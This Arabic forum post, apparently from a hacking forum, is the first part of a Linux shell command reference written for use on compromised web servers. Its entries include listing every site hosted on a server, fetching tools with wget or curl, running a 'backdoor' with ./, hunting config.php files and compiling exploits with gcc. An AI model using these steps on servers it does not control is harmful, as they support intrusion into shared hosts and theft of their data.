أهلاً بكم ياأعضاء منتديات جيوش الهكر ، يسعدني أن أطرح لكم وبشكل حصري موسوعة أوامر الشل واللينكس ، ونظراً لكبر الموضوع فسيتم تقسيمه إلى عدة أجزاء ، كما سيتم طرح أمثله لتنفيذ الأوامر ، فلنبدأ على بركة الله : ...


الجزء الأول


الأمر : Dir
وظيفته : لعرض مجموعة الملفات في المسار الحالي

الأمر : pwd
وظيفته : لعرض المسار الحالي
مثال : إذا كنت داخل على يوزر باسم black في مجلد المنتدى ولنفرض أنه بأسم vb بعد تنفيذ هذا الأمر سوف يعرض لنا هذا المسار home / black / public_html / vb /

الأمر : cd
وظيفته : يستخدم للتنقل بين الأدله الموجوده

الأمر : cd..
وظيفته : يستخدم للإنتقال إلى الدليل الذي يعلو الدليل الحالي

الأمر : CD ~
وظيفته : يستخدم للإنتقال إلى الدليل الإفتراضي Home


الأمر : ls
وظيفته : نفس وظيفة الأمر dir لعرض مجموعة الملفات في المسار الحالي


الأمر : ls -a
وظيفته : أمر مهم تستطيع من خلاله عرض جميع الملفات حتى المخفيه منها


الأمر : ls -l
وظيفته : لعرض الملفات الموجوده في المسار الحالي وسرد معلومات تفصيلية عنها


الأمر : ls –la
وظيفته : يستخدم لعرض جميع الملفات والمجلدات مع تصاريحها بحسب المجلد الذي انت بداخله
مثال : ls -la
ملاحظه / يمكنك دمج أكثر من خيار في الأمر الواحد

الأمر : ls *
وظيفته : يستخدم في حالة عرض جميع الملفات الموجودة والمجلدات الموجودة بطريقة ترابطية Linked
مثال :
لمعرفة المواقع على سيرفر مع اليوزر نكتب : ls -la /etc/valiases
لمعرفة جميع المواقع اللي على السيرفر نكتب : ls /var/named
لمعرفة جميع المواقع على السيرفر ls /usr/local/psa/home/vhosts/

الأمر : Wc
وظيفته : لعرض عدد السطور والكلمات والأحرف في ملف نصي
مثال : Wc filename.txt
والناتج يكون : 31 129 9 filename.txt
Filename هو اسم الملف ، أول رقم هو عدد السطور ...وثاني رقم هو عدد الكلمات....وثالث رقم هو عدد الحروف

الأمر : Tee
وظيفته : يستخدم لإنشاء الملفات والكتابه فيها
مثال : Tee filename.ex
Filename اسم الملف الذي ترغب بإنشائه و Ex هو امتداد الملف

الأمر : Touch
وظيفته : إنشاء الملفات
مثال : Touch filename.txt

الأمر : Cat
وظيفته : استعراض الملفات النصية وإنشاء الملفات النصية والكتابه فيها
مثال : لكي نقوم بعرض ملف وقرائته نكتب cat filename.ex حيث filename = اسم الملف الذي ترغب بعرضه و ex امتداد الملف
ولكي نقوم بإنشاء ملف جديد والكتابة فيه نكتب : cat >filename.txt ثم اضغط Enter وستجد انك في سطر جديد قم بكتابه ماتريد ثم انهي العمليه .

الأمر : Rm
وظيفته : يقوم بحذف الملفات والمجلدات
مثال : لحذف الملفات نكتب : rm /home/ahmed/filename.txt
لحذف المجلدات rm –r/home/ahmed/folder
كما يمكن حذف كل الملفات بالامر التالي : rm /home/ahmed/*

الأمر : mkdir
وظيفته : انشاء مجلد جديد
مثال : mkdir pass

الأمر : chmod
وظيفته : تغيير تصاريح الملفات
مثال : chmod who+file permission filename
المتغير Who = تحديد أي مستخدم سيتم تنفيذ الأمر عليه ( مالك الملف رمزه ( U ) – مجموعه مستخدمين رمزه ( G ) – أي مستخدم رمزه ( O ) – الكل رمزه ( A )) .
المتغير file permission = تحديد ماسيتم تغييره في تصريح الملف ( القراءه – الكتابه – التشغيل )
المتغير filename = تحديد اسم الملف او المجلد الذي سيتم تنفيذ الأمر عليه .
كما يمكن استخدام الأمر بطريقه أخرى حيث نكتب : chmod 777 filname

الأمر : id
وظيفته : لعرض صلاحياتك على السرفر
مثال : id

الأمر : *
وظيفته : يضاف للأوامر السابقه ويرمز للكل
مثال : إذا كنت داخل مجلد وبداخله ملفات كثيره وترغب بتغيير تصاريحها كلها مثلا ، إذا يكون الأمر الذي سينفذ هنا هو : * chmod 777

الأمر : mv
وظيفته : نقل الملفات او تغيير تسميتها
مثال : إذا أردت نقل ملف معين مثلا باسم filename.php إلى أي مكان يكون الأمر هكذا
mv filename.php / home / ??? / public_html / black ،
ويتم إستبدال home / ??? / public_html / black / إلى مسار المجلد الذي سيتم النقل إليه ويشترط أن يكون هذا المجلد يحمل التصريح ( 777 ) (drwxrwxrwx)
لتغيير التسميه إذا اردنا تغيير تسميه ملف باسم a.php إلى b.php يكون الأمر mv a.php b.php

الأمر : ;
وظيفته : أداه للربط بين الأوامر
مثال : ls;pwd

الأمر : edit
وظيفته : التعديل
مثال : edit failname

الأمر : cp
وظيفته : نسخ الملفات
مثال : إذا أردنا نسخ ملف باسم black.php إلى مكان أخر يكون الأمر
cp black.php / home / ??? / public_html / up ويتم استبدال home / ??? / public_html / up / بمسار المجلد الذي ننسخ الملف إليه ويشترط أن يكون هذا المجلد يحمل التصريح ( 777 ) (drwxrwxrwx)

الأمر : find
وظيفته : للبحث عما تريد
مثال : أذا أردنا أن نبحث عن الكونفايق find config.php



أوامر رفع الملفات
قبل تنفيذ أوامر الرفع يجب تطبيق أمر التأكد بمعنى هل يمكننا الرفع بواسطة هذا الأمر أم لا

الأمر : wget
وظيفته : أمر رفع
مثال : wget http://www./???.com/black.zip

الأمر : curl
وظيفته : أمر رفع
مثال : curl -o tryag.zip http://www./???.com/black.zip

الأمر : GET
وظيفته : أمر رفع
مثال : GET http://www./???.com/black.zip > black.zip

الأمر : lynx
وظيفته : أمر رفع
مثال : lynx -source http://www./???.com/black.zip > black.zip

أمر التأكد من عمل أوامر الرفع : which xxxx وتستبدل xxxx بأمر الرفع المستخدم إذا كان الناتج : usr / bin /xxxx / معناته يمكنك استخدام هذا الأمر في الرفع (xxxx تتغير إلى أمر الرفع المطبق )

الأمر : qzip
وظيفته : zip أمرالضغط بامتداد
مثال : qzip failname
الأمر : unzip
وظيفته : امر فك الضغط بامتداد zip
مثال : unzip failname

الأمر : tar -zcf
وظيفته : أمر الضغط بامتداد tar
مثال : tar -zcf zz.tar daily

الأمر : tar -zxf
وظيفته : أمر فك الضغط بامتداد tar
مثال : tar -zxf zz.tar

الأمر : tar -czvf
وظيفته : أمر ضغط الملف بامتداد gz
مثال : tar -czvf file name.tar.gz file name.sql

الأمر : gzip -d
وظيفته : فك الضغط بامتداد gz
مثال : gzip -d file.gz

الأمر : tar -czvf
وظيفته : كيفية ضغط قاعدة البيانات
مثال : tar -czvf file name.tar.gz file name.sql

الأمر : tar -zxvf
وظيفته : كيفية فك قواعد البيانات
مثال : tar -zxvf file name.tar.gz

الأمر : tar -czvf
وظيفته : امر ضغط المجلدات بامتداد tar.gz
مثال : tar -czvf /home/user/public_html/n3.tar.gzn3

الأمر : history
وظيفته : أمر معرفة جميع الأوامر التي نفذت بالشل
مثال : history

الأمر : ./
وظيفته : أمرتشغيل الباكدور
مثال : ./

الأمر : uname -a
وظيفته : أمر معرفة اصدار السيرفر
مثال : uname -a

الأمر : man
وظيفته : امر المساعدة
مثال : man ls

الأمر : gcc
وظيفته : ترجمة الكومبايل او الاكسبلويت
مثال : gcc site.c -o site (site تستبدل باسم الكومبايل )